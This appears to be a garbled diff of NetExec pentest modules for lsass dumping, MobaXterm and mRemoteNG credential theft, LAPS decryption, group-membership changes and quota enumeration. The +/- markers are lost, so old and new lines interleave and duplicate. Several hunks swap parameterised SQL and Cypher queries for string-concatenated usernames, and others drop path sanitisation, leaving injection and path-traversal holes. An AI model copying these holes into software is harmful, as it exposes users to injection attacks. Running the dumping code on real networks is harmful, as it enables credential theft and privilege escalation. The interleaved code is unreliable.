if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except Exception as e:
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
else:
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
return sid
+11 -8
View File
@@ -126,17 +126,20 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
h_out.write(bytes(chunk))
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
+17 -30
View File
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
if result["password"] is not None:
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
@@ -188,7 +188,7 @@ class NXCModule:
)
if session.smb_session is None:
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@@ -198,20 +198,9 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if not ImpacketFile.delete(session, file.get_file_path()):
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -247,7 +236,7 @@ class NXCModule:
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -257,10 +246,8 @@ class NXCModule:
connection.nthash = user[1]
connection.nthash = user[1]
try:
if self.run_lsassy(context, connection, cursor) is False:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
continue
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
process_creds(
context,
+1 -1
View File
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error running command: {e}")
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+8 -9
View File
@@ -4,10 +4,10 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -22,13 +22,12 @@ class NXCModule:
def on_login(self, context, connection):
try:
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
+1 -4
View File
@@ -45,15 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
if not data:
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value:
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
+13 -14
View File
@@ -89,24 +89,23 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
context.log.debug("Closed dumper file")
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if ImpacketFile.delete(session, file.get_file_path()):
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
if credentials is None:
credentials = []
+7 -134
View File
@@ -1,21 +1,10 @@
import re
import ntpath
from io import BytesIO
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.krb5.kerberosv5 import KerberosError
from impacket import nt_errors
class NXCModule:
"""
Module by Shutdown, Podalirius and serwiz
Module by Shutdown and Podalirius
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
@@ -25,16 +14,18 @@ class NXCModule:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
@@ -43,121 +34,3 @@ class NXCModule:
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
self.get_SeMachineAccountPrivilege(context, connection)
def get_SeMachineAccountPrivilege(self, context, connection):
gpo_links = self.get_gpo_links(context, connection)
if not gpo_links:
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
return
context.log.debug(f"gPLink parsed: {gpo_links}")
try:
smb = get_smb_connection(context, connection)
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
return
if not smb:
return
context.log.display("Getting SeMachineAccountPrivilege")
try:
for link in gpo_links:
guid = link["guid"]
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
try:
buf = BytesIO()
smb.getFile("SYSVOL", path, buf.write)
GptTmpl = buf.getvalue().decode("utf-16le")
except SessionError as e:
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
else:
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
continue
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
context.log.fail(f"Unable to read {path}: {e}")
continue
# An absent setting inherits; an explicitly empty assignment overrides.
for line in GptTmpl.splitlines():
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
if match:
value = match.group(1).strip()
break
else:
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
continue
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
context.log.info(f"\t{line.strip()}")
if not value:
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
continue
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
for principal in principals:
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
if not match:
context.log.highlight(f'\t\t - "{principal}"')
continue
sid = match.group(1)
if sid in WELL_KNOWN_SIDS:
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
continue
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
entries = parse_result_attributes(resp)
if entries and entries[0].get("sAMAccountName"):
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
else:
context.log.highlight(f"\t\t - {sid} (unresolved)")
finally:
smb.logoff()
def get_gpo_links(self, context, connection):
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
gpo_links = []
block_inheritance = False
for scope_dn in (ou_dn, connection.baseDN):
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail(f"Unable to read GPO links for {scope_dn}")
return []
if scope_dn == ou_dn:
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
if link["disabled"]:
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
continue
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
continue
link["scope_dn"] = scope_dn
# Enforced domain, enforced OU, normal OU, then normal domain links.
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
gpo_links.append(link)
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
def resolve_gpo(self, connection, guid):
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
results = parse_result_attributes(resp)
if not results:
return ""
return results[0].get("displayName") or results[0].get("name") or ""
def parse_gplink(self, gplink):
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
parsed = []
# Number every link, including disabled links (last listed = order 1).
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
flags = int(flags_str)
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
return parsed
+35 -7
View File
@@ -1,34 +1,62 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
-168
View File
@@ -1,168 +0,0 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr
from nxc.helpers.rpc import NXCRPCConnection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for adding/removing users to/from groups
Module by @termanix
"""
name = "modify-group"
description = "Modify the group membership of users and computers"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (at least one of):
GROUP Name of the group to add/remove the user to/from
USER Username of the account to modify
Optional:
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
Examples
--------
Adding a user to a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
Removing a user from a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
SMB/SAMR KNOWN LIMITATIONS:
- SAMR only supports modification of Global security groups.
Domain Local and Universal groups require the LDAP protocol.
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
Use LDAP instead.
"""
self.group = module_options.get("GROUP")
self.target_user = module_options.get("USER")
self.remove = module_options.get("REMOVE", "False").lower() == "true"
if not (self.target_user and self.group):
context.log.fail("USER and GROUP parameters are required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
if context.protocol == "smb":
self._modify_group_smb()
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
if not dce:
return
# Get domain handle
try:
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
return
# Find the user RID
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target user not found: {self.target_user}")
else:
self.context.log.fail(f"Failed to find user RID: {e}")
return
# Find the group RID and open the group
try:
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target group not found: {self.group}")
else:
self.context.log.fail(f"Failed to find group: {e}")
return
# Modify group membership
if self.remove:
try:
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
else:
try:
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "STATUS_MEMBER_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
# Disconnect from DCE/RPC
with contextlib.suppress(Exception):
dce.disconnect()
def _modify_group_ldap(self):
"""Modify group membership using LDAP protocol"""
# Get the DN of the target user
resp = self._find_object_dn(self.target_user)
if not resp:
self.context.log.fail(f"Target user not found: {self.target_user}")
return
else:
target_user_dn = resp[0]["distinguishedName"]
# Get the DN of the target group
resp = self._find_object_dn(self.group)
if not resp:
self.context.log.fail(f"Target group not found: {self.group}")
return
else:
group_dn = resp[0]["distinguishedName"]
# Modify group membership
if self.remove:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "unwillingToPerform" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
else:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
def _find_object_dn(self, value):
"""Find the distinguished name (DN) of an object by sAMAccountName"""
resp = self.connection.ldap_connection.search(
searchFilter=f"(sAMAccountName={value})",
attributes=["distinguishedName"]
)
return parse_result_attributes(resp)
+52 -12
View File
@@ -1,10 +1,12 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -23,7 +25,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -40,7 +42,6 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -67,31 +68,70 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
self.share = connection.args.share
users = self.dploot_conn.list_users()
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
# Search for mRemoteNG files
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = self.dploot_conn.read_file(share=self.share, path=user_path)
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -112,7 +152,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
@@ -126,7 +166,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.list_dir(share=self.share, path=directory_path)
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -138,7 +178,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.read_file(share=self.share, path=new_path)
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+2 -3
View File
@@ -4,7 +4,6 @@ import os
from pathlib import Path
import re
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -140,8 +139,8 @@ class NXCModule:
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
if self.save and all_results:
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
os.makedirs(file_path.parent, exist_ok=True)
with open(file_path, "w") as f:
json.dump(all_results, f, indent=2)
+1 -1
View File
@@ -446,7 +446,7 @@ class NXCModule:
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin is not None and int(is_admin):
if is_admin != "NULL" and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
+1 -2
View File
@@ -10,7 +10,6 @@ import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -159,7 +158,7 @@ class NXCModule:
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
+3 -8
View File
@@ -1,9 +1,7 @@
from io import BytesIO
from os import makedirs
from os.path import join
from pathlib import Path
from os.path import join, abspath
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -38,12 +36,9 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
